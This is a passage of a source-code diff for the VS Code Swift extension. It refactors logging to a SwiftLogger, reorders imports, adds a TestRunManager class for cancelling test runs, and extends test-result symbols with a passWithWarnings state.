hashString(fileContents); if (this.version === 1) { @@ -201,7 +204,8 @@ export class SwiftPackage { readonly folder: vscode.Uri, private contentsPromise: Promise, public resolved: PackageResolved | undefined, - private workspaceState: WorkspaceState | undefined + // TODO: Make private again + public workspaceState: WorkspaceState | undefined ) {} /** @@ -308,7 +312,7 @@ export class SwiftPackage { private static async loadPlugins( folder: vscode.Uri, toolchain: SwiftToolchain, - outputChannel: SwiftOutputChannel + logger: SwiftLogger ): Promise { try { const { stdout } = await execSwift(["package", "plugin", "--list"], toolchain, { @@ -329,7 +333,7 @@ export class SwiftPackage { } return plugins; } catch (error) { - outputChannel.appendLine(`Failed to laod plugins: ${error}`); + logger.error(`Failed to load plugins: ${error}`); // failed to load resolved file return undefined return []; } @@ -371,8 +375,8 @@ export class SwiftPackage { this.workspaceState = await SwiftPackage.loadWorkspaceState(this.folder); } - public async loadSwiftPlugins(toolchain: SwiftToolchain, outputChannel: SwiftOutputChannel) { - this.plugins = await SwiftPackage.loadPlugins(this.folder, toolchain, outputChannel); + public async loadSwiftPlugins(toolchain: SwiftToolchain, logger: SwiftLogger) { + this.plugins = await SwiftPackage.loadPlugins(this.folder, toolchain, logger); } /** Return if has valid contents */ diff --git a/src/SwiftSnippets.ts b/src/SwiftSnippets.ts index 375190e96..a70281935 100644 --- a/src/SwiftSnippets.ts +++ b/src/SwiftSnippets.ts @@ -11,13 +11,12 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; import * as path from "path"; -import contextKeys from "./contextKeys"; -import { createSwiftTask } from "./tasks/SwiftTaskProvider"; +import * as vscode from "vscode"; + import { WorkspaceContext } from "./WorkspaceContext"; import { createSnippetConfiguration, debugLaunchConfig } from "./debugger/launch"; +import { createSwiftTask } from "./tasks/SwiftTaskProvider"; import { TaskOperation } from "./tasks/TaskQueue"; /** @@ -30,16 +29,16 @@ export function setSnippetContextKey(ctx: WorkspaceContext) { !ctx.currentDocument || ctx.currentFolder.swiftVersion.isLessThan({ major: 5, minor: 7, patch: 0 }) ) { - contextKeys.fileIsSnippet = false; + ctx.contextKeys.fileIsSnippet = false; return; } const filename = ctx.currentDocument.fsPath; const snippetsFolder = path.join(ctx.currentFolder.folder.fsPath, "Snippets"); if (filename.startsWith(snippetsFolder)) { - contextKeys.fileIsSnippet = true; + ctx.contextKeys.fileIsSnippet = true; } else { - contextKeys.fileIsSnippet = false; + ctx.contextKeys.fileIsSnippet = false; } return; } @@ -99,7 +98,7 @@ export async function debugSnippetWithOptions( }, folderContext.toolchain ); - const snippetDebugConfig = createSnippetConfiguration(snippetName, folderContext); + const snippetDebugConfig = await createSnippetConfiguration(snippetName, folderContext); try { ctx.buildStarted(snippetName, snippetDebugConfig, options); @@ -120,7 +119,7 @@ export async function debugSnippetWithOptions( return result; }); } catch (error) { - ctx.outputChannel.appendLine(`Failed to debug snippet: ${error}`); + ctx.logger.error(`Failed to debug snippet: ${error}`); // ignore error if task failed to run return false; } diff --git a/src/TestExplorer/DocumentSymbolTestDiscovery.ts b/src/TestExplorer/DocumentSymbolTestDiscovery.ts index 15ff36e76..789bb77ba 100644 --- a/src/TestExplorer/DocumentSymbolTestDiscovery.ts +++ b/src/TestExplorer/DocumentSymbolTestDiscovery.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { TestClass } from "./TestDiscovery"; + import { parseTestsFromSwiftTestListOutput } from "./SPMTestDiscovery"; +import { TestClass } from "./TestDiscovery"; export function parseTestsFromDocumentSymbols( target: string, diff --git a/src/TestExplorer/LSPTestDiscovery.ts b/src/TestExplorer/LSPTestDiscovery.ts index 4a6b5f903..a244d7a82 100644 --- a/src/TestExplorer/LSPTestDiscovery.ts +++ b/src/TestExplorer/LSPTestDiscovery.ts @@ -11,18 +11,18 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import * as TestDiscovery from "./TestDiscovery"; +import { LanguageClient } from "vscode-languageclient/node"; + +import { SwiftPackage } from "../SwiftPackage"; +import { checkExperimentalCapability } from "../sourcekit-lsp/LanguageClientManager"; +import { LanguageClientManager } from "../sourcekit-lsp/LanguageClientManager"; import { LSPTestItem, TextDocumentTestsRequest, WorkspaceTestsRequest, } from "../sourcekit-lsp/extensions"; -import { checkExperimentalCapability } from "../sourcekit-lsp/LanguageClientManager"; -import { SwiftPackage } from "../SwiftPackage"; -import { LanguageClientManager } from "../sourcekit-lsp/LanguageClientManager"; -import { LanguageClient } from "vscode-languageclient/node"; +import * as TestDiscovery from "./TestDiscovery"; /** * Used to augment test discovery via `swift test --list-tests`. diff --git a/src/TestExplorer/SPMTestDiscovery.ts b/src/TestExplorer/SPMTestDiscovery.ts index 8616e1910..cbc03d0f4 100644 --- a/src/TestExplorer/SPMTestDiscovery.ts +++ b/src/TestExplorer/SPMTestDiscovery.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import { TestStyle } from "../sourcekit-lsp/extensions"; import { TestClass } from "./TestDiscovery"; diff --git a/src/TestExplorer/TestCodeLensProvider.ts b/src/TestExplorer/TestCodeLensProvider.ts index 3699ffe04..70440c8b9 100644 --- a/src/TestExplorer/TestCodeLensProvider.ts +++ b/src/TestExplorer/TestCodeLensProvider.ts @@ -11,11 +11,11 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + +import configuration, { ValidCodeLens } from "../configuration"; import { TestExplorer } from "./TestExplorer"; import { flattenTestItemCollection } from "./TestUtils"; -import configuration, { ValidCodeLens } from "../configuration"; export class TestCodeLensProvider implements vscode.CodeLensProvider, vscode.Disposable { private onDidChangeCodeLensesEmitter = new vscode.EventEmitter(); diff --git a/src/TestExplorer/TestDiscovery.ts b/src/TestExplorer/TestDiscovery.ts index 80d18011d..98dd2ed1d 100644 --- a/src/TestExplorer/TestDiscovery.ts +++ b/src/TestExplorer/TestDiscovery.ts @@ -11,8 +11,8 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { SwiftPackage, TargetType } from "../SwiftPackage"; import { LSPTestItem } from "../sourcekit-lsp/extensions"; import { reduceTestItemChildren } from "./TestUtils"; diff --git a/src/TestExplorer/TestExplorer.ts b/src/TestExplorer/TestExplorer.ts index 0a447ba08..271a18005 100644 --- a/src/TestExplorer/TestExplorer.ts +++ b/src/TestExplorer/TestExplorer.ts @@ -11,23 +11,25 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; -import { getErrorDescription } from "../utilities/utilities"; -import { FolderOperation, WorkspaceContext } from "../WorkspaceContext"; -import { TestRunProxy, TestRunner } from "./TestRunner"; -import { LSPTestDiscovery } from "./LSPTestDiscovery"; -import { Version } from "../utilities/version"; +import { TargetType } from "../SwiftPackage"; +import { FolderOperation, SwiftFileEvent, WorkspaceContext } from "../WorkspaceContext"; import configuration from "../configuration"; +import { SwiftLogger } from "../logging/SwiftLogger"; import { buildOptions, getBuildAllTask } from "../tasks/SwiftTaskProvider"; +import { TaskManager } from "../tasks/TaskManager"; import { SwiftExecOperation, TaskOperation } from "../tasks/TaskQueue"; -import * as TestDiscovery from "./TestDiscovery"; -import { TargetType } from "../SwiftPackage"; -import { parseTestsFromSwiftTestListOutput } from "./SPMTestDiscovery"; +import { compositeDisposable, getErrorDescription } from "../utilities/utilities"; +import { Version } from "../utilities/version"; import { parseTestsFromDocumentSymbols } from "./DocumentSymbolTestDiscovery"; -import { flattenTestItemCollection } from "./TestUtils"; +import { LSPTestDiscovery } from "./LSPTestDiscovery"; +import { parseTestsFromSwiftTestListOutput } from "./SPMTestDiscovery"; import { TestCodeLensProvider } from "./TestCodeLensProvider"; +import * as TestDiscovery from "./TestDiscovery"; +import { TestRunProxy, TestRunner } from "./TestRunner"; +import { flattenTestItemCollection } from "./TestUtils"; /** Build test explorer UI */ export class TestExplorer { @@ -36,7 +38,7 @@ export class TestExplorer { public testRunProfiles: vscode.TestRunProfile[]; private lspTestDiscovery: LSPTestDiscovery; - private subscriptions: { dispose(): unknown }[]; + private subscriptions: vscode.Disposable[]; private tokenSource = new vscode.CancellationTokenSource(); // Emits after the `vscode.TestController` has been updated. @@ -46,24 +48,22 @@ export class TestExplorer { public onDidCreateTestRunEmitter = new vscode.EventEmitter(); public onCreateTestRun: vscode.Event; - private codeLensProvider?: TestCodeLensProvider; + private codeLensProvider: TestCodeLensProvider; - constructor(public folderContext: FolderContext) { + constructor( + public folderContext: FolderContext, + private tasks: TaskManager, + private logger: SwiftLogger, + private onDidChangeSwiftFiles: ( + listener: (event: SwiftFileEvent) => void + ) => vscode.Disposable + ) { this.onTestItemsDidChange = this.onTestItemsDidChangeEmitter.event; this.onCreateTestRun = this.onDidCreateTestRunEmitter.event; + this.lspTestDiscovery = this.configureLSPTestDiscovery(folderContext); this.codeLensProvider = new TestCodeLensProvider(this); - - this.controller = vscode.tests.createTestController( - folderContext.name, - `${folderContext.name} Tests` - ); - - this.controller.resolveHandler = async item => { - if (!item) { - await this.discoverTestsInWorkspace(this.tokenSource.token); - } - }; + this.controller = this.createController(folderContext); this.testRunProfiles = TestRunner.setupProfiles( this.controller, @@ -76,6 +76,7 @@ export class TestExplorer { this.controller, this.onTestItemsDidChangeEmitter, this.onDidCreateTestRunEmitter, + this.codeLensProvider, ...this.testRunProfiles, this.onTestItemsDidChange(() => this.updateSwiftTestContext()), this.discoverUpdatedTestsAfterBuild(folderContext), @@ -97,33 +98,76 @@ export class TestExplorer { symbols: vscode.DocumentSymbol[] ): Promise { const target = await folder.swiftPackage.getTarget(uri.fsPath); - if (!target || target.type !== "test") { + if (target?.type !== "test") { + this.logger.info( + `Target ${target?.name ?? "undefined"} is not a test target, aborting looking for tests within it`, + "Test Explorer" + ); return; } + this.logger.info(`Getting tests for ${uri.toString()}`, "Test Explorer"); try { const tests = await this.lspTestDiscovery.getDocumentTests(folder.swiftPackage, uri); + this.logger.info( + `LSP test discovery found ${tests.length} top level tests`, + "Test Explorer" + ); TestDiscovery.updateTestsForTarget( this.controller, { id: target.c99name, label: target.name }, tests, uri ); + this.logger.info( + `Emitting test item change after LSP test discovery for ${uri.toString()}`, + "Test Explorer" + ); this.onTestItemsDidChangeEmitter.fire(this.controller); - } catch { + } catch (error) { + this.logger.error( + `Error occurred during LSP test discovery for ${uri.toString()}: ${error}`, + "Test Explorer" + ); // Fallback to parsing document symbols for XCTests only const tests = parseTestsFromDocumentSymbols(target.name, symbols, uri); + this.logger.info( + `Parsed ${tests.length} top level tests from document symbols from ${uri.toString()}`, + "Test Explorer" + ); this.updateTests(this.controller, tests, uri); } } + public dispose() { + this.tokenSource.cancel(); + this.subscriptions.forEach(element => element.dispose()); + this.subscriptions = []; + } + /** * Creates an LSPTestDiscovery client for the given folder context. */ private configureLSPTestDiscovery(folderContext: FolderContext): LSPTestDiscovery { - const workspaceContext = folderContext.workspaceContext; - const languageClientManager = workspaceContext.languageClientManager.get(folderContext); - return new LSPTestDiscovery(languageClientManager); + return new LSPTestDiscovery(folderContext.languageClientManager); + } + + /** + * Creates a test controller for the given folder context. + */ + private createController(folderContext: FolderContext) { + const controller = vscode.tests.createTestController( + folderContext.name, + `${folderContext.name} Tests` + ); + + controller.resolveHandler = async item => { + if (!item) { + await this.discoverTestsInWorkspace(this.tokenSource.token); + } + }; + + return controller; } /** @@ -131,56 +175,40 @@ export class TestExplorer { */ private discoverUpdatedTestsAfterBuild(folderContext: FolderContext): vscode.Disposable { let testFileEdited = true; - const endProcessDisposable = folderContext.workspaceContext.tasks.onDidEndTaskProcess( - event => { - const task = event.execution.task; - const execution = task.execution as vscode.ProcessExecution; - if ( - task.scope === folderContext.workspaceFolder && - task.group === vscode.TaskGroup.Build && - execution?.options?.cwd === folderContext.folder.fsPath && - event.exitCode === 0 && - task.definition.dontTriggerTestDiscovery !== true && - testFileEdited - ) { - testFileEdited = false; - - // only run discover tests if the library has tests - void folderContext.swiftPackage.getTargets(TargetType.test).then(targets => { - if (targets.length > 0) { - void this.discoverTestsInWorkspace(this.tokenSource.token); - } - }); - } + const endProcessDisposable = this.tasks.onDidEndTaskProcess(event => { + const task = event.execution.task; + const execution = task.execution as vscode.ProcessExecution; + if ( + task.scope === folderContext.workspaceFolder && + task.group === vscode.TaskGroup.Build && + execution?.options?.cwd === folderContext.folder.fsPath && + event.exitCode === 0 && + task.definition.dontTriggerTestDiscovery !== true && + testFileEdited + ) { + testFileEdited = false; + + // only run discover tests if the library has tests + void folderContext.swiftPackage.getTargets(TargetType.test).then(targets => { + if (targets.length > 0) { + void this.discoverTestsInWorkspace(this.tokenSource.token); + } + }); } - ); + }); // add file watcher to catch changes to swift test files - const didChangeSwiftFileDisposable = folderContext.workspaceContext.onDidChangeSwiftFiles( - ({ uri }) => { - if (testFileEdited === false) { - void folderContext.getTestTarget(uri).then(target => { - if (target) { - testFileEdited = true; - } - }); - } + const didChangeSwiftFileDisposable = this.onDidChangeSwiftFiles(({ uri }) => { + if (testFileEdited === false) { + void folderContext.getTestTarget(uri).then(target => { + if (target) { + testFileEdited = true; + } + }); } - ); - - return { - dispose: () => { - endProcessDisposable.dispose(); - didChangeSwiftFileDisposable.dispose(); - }, - }; - } + }); - dispose() { - this.controller.refreshHandler = undefined; - this.controller.resolveHandler = undefined; - this.tokenSource.cancel(); - this.subscriptions.forEach(element => element.dispose()); + return compositeDisposable(endProcessDisposable, didChangeSwiftFileDisposable); } /** @@ -189,7 +217,7 @@ export class TestExplorer { * @param workspaceContext Workspace context for extension * @returns Observer disposable */ - static observeFolders(workspaceContext: WorkspaceContext): vscode.Disposable { + public static observeFolders(workspaceContext: WorkspaceContext): vscode.Disposable { const tokenSource = new vscode.CancellationTokenSource(); const disposable = workspaceContext.onDidChangeFolders(({ folder, operation }) => { switch (operation) { @@ -201,12 +229,7 @@ export class TestExplorer { break; } }); - return { - dispose: () => { - tokenSource.dispose(); - disposable.dispose(); - }, - }; + return compositeDisposable(tokenSource, disposable); } /** @@ -257,6 +280,7 @@ export class TestExplorer { tests: TestDiscovery.TestClass[], uri?: vscode.Uri ) { + this.logger.debug("Updating tests in test explorer", "Test Discovery"); TestDiscovery.updateTests(controller, tests, uri); this.onTestItemsDidChangeEmitter.fire(controller); } @@ -270,7 +294,7 @@ export class TestExplorer { // we fall back to discovering tests with SPM. await this.discoverTestsInWorkspaceLSP(token); } catch { - this.folderContext.workspaceContext.outputChannel.logDiagnostic( + this.logger.debug( "workspace/tests LSP request not supported, falling back to SPM to discover tests.", "Test Discovery" ); @@ -283,7 +307,7 @@ export class TestExplorer { * Uses `swift test --list-tests` to get the list of tests */ private async discoverTestsInWorkspaceSPM(token: vscode.CancellationToken) { - async function runDiscover(explorer: TestExplorer, firstTry: boolean) { + const runDiscover = async (explorer: TestExplorer, firstTry: boolean) => { try { // we depend on sourcekit-lsp to detect swift-testing tests so let the user know // that things won't work properly if sourcekit-lsp has been disabled for some reason @@ -300,7 +324,7 @@ export class TestExplorer { ) .then(selected => { if (selected === enable) { - explorer.folderContext.workspaceContext.outputChannel.log( + this.logger.info( `Enabling SourceKit-LSP after swift-testing message` ); void vscode.workspace @@ -310,16 +334,18 @@ export class TestExplorer { /* Put in worker queue */ }); } else if (selected === ok) { - explorer.folderContext.workspaceContext.outputChannel.log( + this.logger.info( `User acknowledged that SourceKit-LSP is disabled` ); } }); } const toolchain = explorer.folderContext.toolchain; + // get build options before build is run so we can be sure they aren't changed // mid-build const testBuildOptions = buildOptions(toolchain); + // normally we wouldn't run the build here, but you can suspend swiftPM on macOS // if you try and list tests while skipping the build if you are using a different // sanitizer settings @@ -357,6 +383,10 @@ export class TestExplorer { explorer.deleteErrorTestItem(); const tests = parseTestsFromSwiftTestListOutput(stdout); + this.logger.debug( + `Discovered ${tests.length} top level tests via 'swift test --list-tests', updating test explorer`, + "Test Discovery" + ); explorer.updateTests(explorer.controller, tests); } ); @@ -399,13 +429,13 @@ export class TestExplorer { } else { explorer.setErrorTestItem(errorDescription); } - explorer.folderContext.workspaceContext.outputChannel.log( + this.logger.error( `Test Discovery Failed: ${errorDescription}`, explorer.folderContext.name ); } } - } + }; await runDiscover(this, true); } @@ -413,18 +443,33 @@ export class TestExplorer { * Discover tests */ private async discoverTestsInWorkspaceLSP(token: vscode.CancellationToken) { + this.logger.debug("Discovering tests in workspace via LSP", "Test Discovery"); + const tests = await this.lspTestDiscovery.getWorkspaceTests( this.folderContext.swiftPackage ); + if (token.isCancellationRequested) { + this.logger.info("Test discovery cancelled", "Test Discovery"); return; } + this.logger.debug( + `Discovered ${tests.length} top level tests, updating test explorer`, + "Test Discovery" + ); + await TestDiscovery.updateTestsFromClasses( this.controller, this.folderContext.swiftPackage, tests ); + + this.logger.debug( + "Emitting test item change after LSP workspace test discovery", + "Test Discovery" + ); + this.onTestItemsDidChangeEmitter.fire(this.controller); } @@ -439,9 +484,7 @@ export class TestExplorer { * @param errorDescription Error description to display */ private setErrorTestItem(errorDescription: string | undefined, title = "Test Discovery Error") { - this.folderContext.workspaceContext.outputChannel.log( - `Test Discovery Error: ${errorDescription}` - ); + this.logger.error(`Test Discovery Error: ${errorDescription}`); this.controller.items.forEach(item => { this.controller.items.delete(item.id); }); diff --git a/src/TestExplorer/TestParsers/SwiftTestingOutputParser.ts b/src/TestExplorer/TestParsers/SwiftTestingOutputParser.ts index bb926dc11..381bd3ad0 100644 --- a/src/TestExplorer/TestParsers/SwiftTestingOutputParser.ts +++ b/src/TestExplorer/TestParsers/SwiftTestingOutputParser.ts @@ -11,20 +11,20 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; +import { exec } from "child_process"; import * as readline from "readline"; import { Readable } from "stream"; +import * as vscode from "vscode"; + +import { lineBreakRegex } from "../../utilities/tasks"; +import { colorize, sourceLocationToVSCodeLocation } from "../../utilities/utilities"; +import { TestClass } from "../TestDiscovery"; import { INamedPipeReader, UnixNamedPipeReader, WindowsNamedPipeReader, } from "./TestEventStreamReader"; import { ITestRunState } from "./TestRunState"; -import { TestClass } from "../TestDiscovery"; -import { sourceLocationToVSCodeLocation } from "../../utilities/utilities"; -import { exec } from "child_process"; -import { lineBreakRegex } from "../../utilities/tasks"; // All events produced by a swift-testing run will be one of these three types. // Detailed information about swift-testing's JSON schema is available here: @@ -155,6 +155,8 @@ interface IssueRecorded extends BaseEvent, TestCaseEvent { issue: { isKnown: boolean; sourceLocation: SourceLocation; + isFailure?: boolean; + severity?: string; }; } @@ -162,6 +164,7 @@ export enum TestSymbol { default = "default", skip = "skip", passWithKnownIssue = "passWithKnownIssue", + passWithWarnings = "passWithWarnings", fail = "fail", pass = "pass", difference = "difference", @@ -378,6 +381,10 @@ export class SwiftTestingOutputParser { .map(message => MessageRenderer.render(message)) .join("\n"); + if (payload.issue.isFailure === false && !payload.issue.isKnown) { + return; + } + issues.forEach(message => { runState.recordIssue( testIndex, @@ -601,6 +608,7 @@ export class SymbolRenderer { return "\u{25CA}"; // Unicode: LOZENGE case TestSymbol.skip: case TestSymbol.passWithKnownIssue: + case TestSymbol.passWithWarnings: case TestSymbol.fail: return "\u{279C}"; // Unicode: HEAVY ROUND-TIPPED RIGHTWARDS ARROW case TestSymbol.pass: @@ -622,6 +630,7 @@ export class SymbolRenderer { return "\u{25C7}"; // Unicode: WHITE DIAMOND case TestSymbol.skip: case TestSymbol.passWithKnownIssue: + case TestSymbol.passWithWarnings: case TestSymbol.fail: return "\u{279C}"; // Unicode: HEAVY ROUND-TIPPED RIGHTWARDS ARROW case TestSymbol.pass: @@ -649,15 +658,15 @@ export class SymbolRenderer { case TestSymbol.skip: case TestSymbol.difference: case TestSymbol.passWithKnownIssue: - return `${SymbolRenderer.ansiEscapeCodePrefix}90m${symbol}${SymbolRenderer.resetANSIEscapeCode}`; + return colorize(symbol, "grey"); case TestSymbol.pass: - return `${SymbolRenderer.ansiEscapeCodePrefix}92m${symbol}${SymbolRenderer.resetANSIEscapeCode}`; + return colorize(symbol, "lightGreen"); case TestSymbol.fail: - return `${SymbolRenderer.ansiEscapeCodePrefix}91m${symbol}${SymbolRenderer.resetANSIEscapeCode}`; + return colorize(symbol, "lightRed"); case TestSymbol.warning: - return `${SymbolRenderer.ansiEscapeCodePrefix}93m${symbol}${SymbolRenderer.resetANSIEscapeCode}`; + return colorize(symbol, "lightYellow"); case TestSymbol.attachment: - return `${SymbolRenderer.ansiEscapeCodePrefix}94m${symbol}${SymbolRenderer.resetANSIEscapeCode}`; + return colorize(symbol, "lightBlue"); case TestSymbol.none: default: return symbol; diff --git a/src/TestExplorer/TestParsers/TestEventStreamReader.ts b/src/TestExplorer/TestParsers/TestEventStreamReader.ts index 9278fb4b9..6a9c3b5ea 100644 --- a/src/TestExplorer/TestParsers/TestEventStreamReader.ts +++ b/src/TestExplorer/TestParsers/TestEventStreamReader.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as fs from "fs"; import * as net from "net"; import { Readable } from "stream"; diff --git a/src/TestExplorer/TestParsers/TestRunState.ts b/src/TestExplorer/TestParsers/TestRunState.ts index 61ffcfd57..cbcc0139e 100644 --- a/src/TestExplorer/TestParsers/TestRunState.ts +++ b/src/TestExplorer/TestParsers/TestRunState.ts @@ -11,7 +11,6 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; /** diff --git a/src/TestExplorer/TestParsers/XCTestOutputParser.ts b/src/TestExplorer/TestParsers/XCTestOutputParser.ts index ee4be7ac4..f582645f9 100644 --- a/src/TestExplorer/TestParsers/XCTestOutputParser.ts +++ b/src/TestExplorer/TestParsers/XCTestOutputParser.ts @@ -11,13 +11,14 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// +import { Location, MarkdownString } from "vscode"; -import { ITestRunState, TestIssueDiff } from "./TestRunState"; +import { lineBreakRegex } from "../../utilities/tasks"; import { sourceLocationToVSCodeLocation } from "../../utilities/utilities"; -import { MarkdownString, Location } from "vscode"; +import { ITestRunState, TestIssueDiff } from "./TestRunState"; + // eslint-disable-next-line @typescript-eslint/no-require-imports import stripAnsi = require("strip-ansi"); -import { lineBreakRegex } from "../../utilities/tasks"; /** Regex for parsing XCTest output */ interface TestRegex { diff --git a/src/TestExplorer/TestRunArguments.ts b/src/TestExplorer/TestRunArguments.ts index 13ff26f7f..c92cbfcc9 100644 --- a/src/TestExplorer/TestRunArguments.ts +++ b/src/TestExplorer/TestRunArguments.ts @@ -11,10 +11,10 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; -import { reduceTestItemChildren } from "./TestUtils"; + import { TestRunProxy } from "./TestRunner"; +import { reduceTestItemChildren } from "./TestUtils"; type ProcessResult = { testItems: vscode.TestItem[]; @@ -38,12 +38,26 @@ export class TestRunArguments { this.swiftTestArgs = this.annotateTestArgs(swiftTestArgs, isDebug); } + /** + * Returns true if there are XCTests specified in the request. + */ public get hasXCTests(): boolean { - return this.xcTestArgs.length > 0; + return this.xcTestArgs.length > 0 || this.hasNoSpecifiedTests; } + /** + * Returns true if there are swift-testing tests specified in the request. + */ public get hasSwiftTestingTests(): boolean { - return this.swiftTestArgs.length > 0; + return this.swiftTestArgs.length > 0 || this.hasNoSpecifiedTests; + } + + /** + * Returns true if there are no tests specified in the request, + * which indicates that we should run all tests. + */ + private get hasNoSpecifiedTests(): boolean { + return this.testItems.length === 0; } /** diff --git a/src/TestExplorer/TestRunManager.ts b/src/TestExplorer/TestRunManager.ts new file mode 100644 index 000000000..436dc253c --- /dev/null +++ b/src/TestExplorer/TestRunManager.ts @@ -0,0 +1,81 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { TestRunProxy } from "./TestRunner"; + +/** + * Manages active test runs and provides functionality to check if a test run is in progress + * and to cancel test runs. + */ +export class TestRunManager { + private activeTestRuns = new Map< + string, + { testRun: TestRunProxy; tokenSource: vscode.CancellationTokenSource } + >(); + + /** + * Register a new test run + * @param testRun The test run to register + * @param folder The folder context + * @param tokenSource The cancellation token source + */ + public registerTestRun( + testRun: TestRunProxy, + folder: FolderContext, + tokenSource: vscode.CancellationTokenSource + ) { + const key = this.getTestRunKey(folder); + this.activeTestRuns.set(key, { testRun, tokenSource }); + + // When the test run completes, remove it from active test runs + testRun.onTestRunComplete(() => { + this.activeTestRuns.delete(key); + }); + } + + /** + * Cancel an active test run + * @param folder The folder context + */ + public cancelTestRun(folder: FolderContext) { + const key = this.getTestRunKey(folder); + const activeRun = this.activeTestRuns.get(key); + if (activeRun) { + activeRun.testRun.skipPendingTests(); + activeRun.tokenSource.cancel(); + } + } + + /** + * Check if a test run is already in progress for the given folder and test kind + * @param folder The folder context + * @returns The active test run if one exists, undefined otherwise + */ + public getActiveTestRun(folder: FolderContext) { + const key = this.getTestRunKey(folder); + const activeRun = this.activeTestRuns.get(key); + return activeRun?.testRun; + } + + /** + * Generate a unique key for a test run based on folder and test kind + * @param folder The folder context + * @returns A unique key + */ + private getTestRunKey(folder: FolderContext) { + return folder.folder.fsPath; + } +} diff --git a/src/TestExplorer/TestRunner.ts b/src/TestExplorer/TestRunner.ts index 39b4e801b..ae42eee5f 100644 --- a/src/TestExplorer/TestRunner.ts +++ b/src/TestExplorer/TestRunner.ts @@ -11,34 +11,15 @@ // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - -import * as vscode from "vscode"; +import * as asyncfs from "fs/promises"; +import * as os from "os"; import * as path from "path"; import * as stream from "stream"; -import * as os from "os"; -import * as asyncfs from "fs/promises"; +import * as vscode from "vscode"; + import { FolderContext } from "../FolderContext"; -import { compactMap, execFile, getErrorDescription } from "../utilities/utilities"; -import { createSwiftTask } from "../tasks/SwiftTaskProvider"; -import configuration from "../configuration"; import { WorkspaceContext } from "../WorkspaceContext"; -import { - IXCTestOutputParser, - ParallelXCTestOutputParser, - XCTestOutputParser, -} from "./TestParsers/XCTestOutputParser"; -import { - SwiftTestingOutputParser, - SymbolRenderer, - TestSymbol, -} from "./TestParsers/SwiftTestingOutputParser"; -import { LoggingDebugAdapterTracker } from "../debugger/logTracker"; -import { TaskOperation } from "../tasks/TaskQueue"; -import { TestXUnitParser } from "./TestXUnitParser"; -import { ITestRunState, TestIssueDiff } from "./TestParsers/TestRunState"; -import { TestRunArguments } from "./TestRunArguments"; -import { TemporaryFolder } from "../utilities/tempFolder"; -import { TestClass, runnableTag, upsertTestItem } from "./TestDiscovery"; +import configuration from "../configuration"; import { TestCoverage } from "../coverage/LcovResults"; import { BuildConfigurationFactory, @@ -46,12 +27,40 @@ import { SwiftTestingConfigurationSetup, TestingConfigurationFactory, } from "../debugger/buildConfig"; +import { LoggingDebugAdapterTracker } from "../debugger/logTracker"; +import { createSwiftTask } from "../tasks/SwiftTaskProvider"; +import { TaskOperation } from "../tasks/TaskQueue"; +import { + CompositeCancellationToken, + CompositeCancellationTokenSource, +} from "../utilities/cancellation"; +import { packageName, resolveScope } from "../utilities/tasks"; +import { TemporaryFolder } from "../utilities/tempFolder"; +import { + IS_RUNNING_UNDER_TEST, + compactMap, + execFile, + getErrorDescription, +} from "../utilities/utilities"; +import { TestClass, runnableTag, upsertTestItem } from "./TestDiscovery"; import { TestKind, isDebugging, isRelease } from "./TestKind"; +import { + SwiftTestingOutputParser, + SymbolRenderer, + TestSymbol, +} from "./TestParsers/SwiftTestingOutputParser"; +import { ITestRunState, TestIssueDiff } from "./TestParsers/TestRunState"; +import { + IXCTestOutputParser, + ParallelXCTestOutputParser, + XCTestOutputParser, +} from "./TestParsers/XCTestOutputParser"; +import { TestRunArguments } from "./TestRunArguments"; import { reduceTestItemChildren } from "./TestUtils"; -import { CompositeCancellationToken } from "../utilities/cancellation"; +import { TestXUnitParser } from "./TestXUnitParser"; + // eslint-disable-next-line @typescript-eslint/no-require-imports import stripAnsi = require("strip-ansi"); -import { packageName, resolveScope } from "../utilities/tasks"; export enum TestLibrary { xctest = "XCTest", @@ -301,6 +310,18 @@ export class TestRunProxy { this.testRun?.errored(test, message, this.recordDuration ? duration : undefined); } + /** + * Skip any pending tests. + * Call this method when a test run is cancelled to mark the pending tests as skipped. + * Otherwise, pending tests will be marked as failing as we assume they crashed. + */ + public skipPendingTests() { + this.runState.pending.forEach(test => { + this.skipped(test); + }); + this.runState.pending = []; + } + public async end() { // If the test run never started (typically due to a build error) // start it to flush any queued output, and then immediately end it. @@ -337,6 +358,9 @@ export class TestRunProxy { public setIteration(iteration: number) { this.runState = TestRunProxy.initialTestRunState(); this.iteration = iteration; + if (this.testRun) { + this.performAppendOutput(this.testRun, "\n\r"); + } } public appendOutput(output: string) { @@ -426,7 +450,9 @@ export class TestRunner { private testArgs: TestRunArguments; private xcTestOutputParser: IXCTestOutputParser; private swiftTestOutputParser: SwiftTestingOutputParser; - private static CANCELLATION_ERROR = "Test run cancelled"; + private debugSessionTerminatedEmitter = new vscode.EventEmitter(); + public onDebugSessionTerminated: vscode.Event; + private static CANCELLATION_ERROR = "Test run cancelled."; /** * Constructor for TestRunner 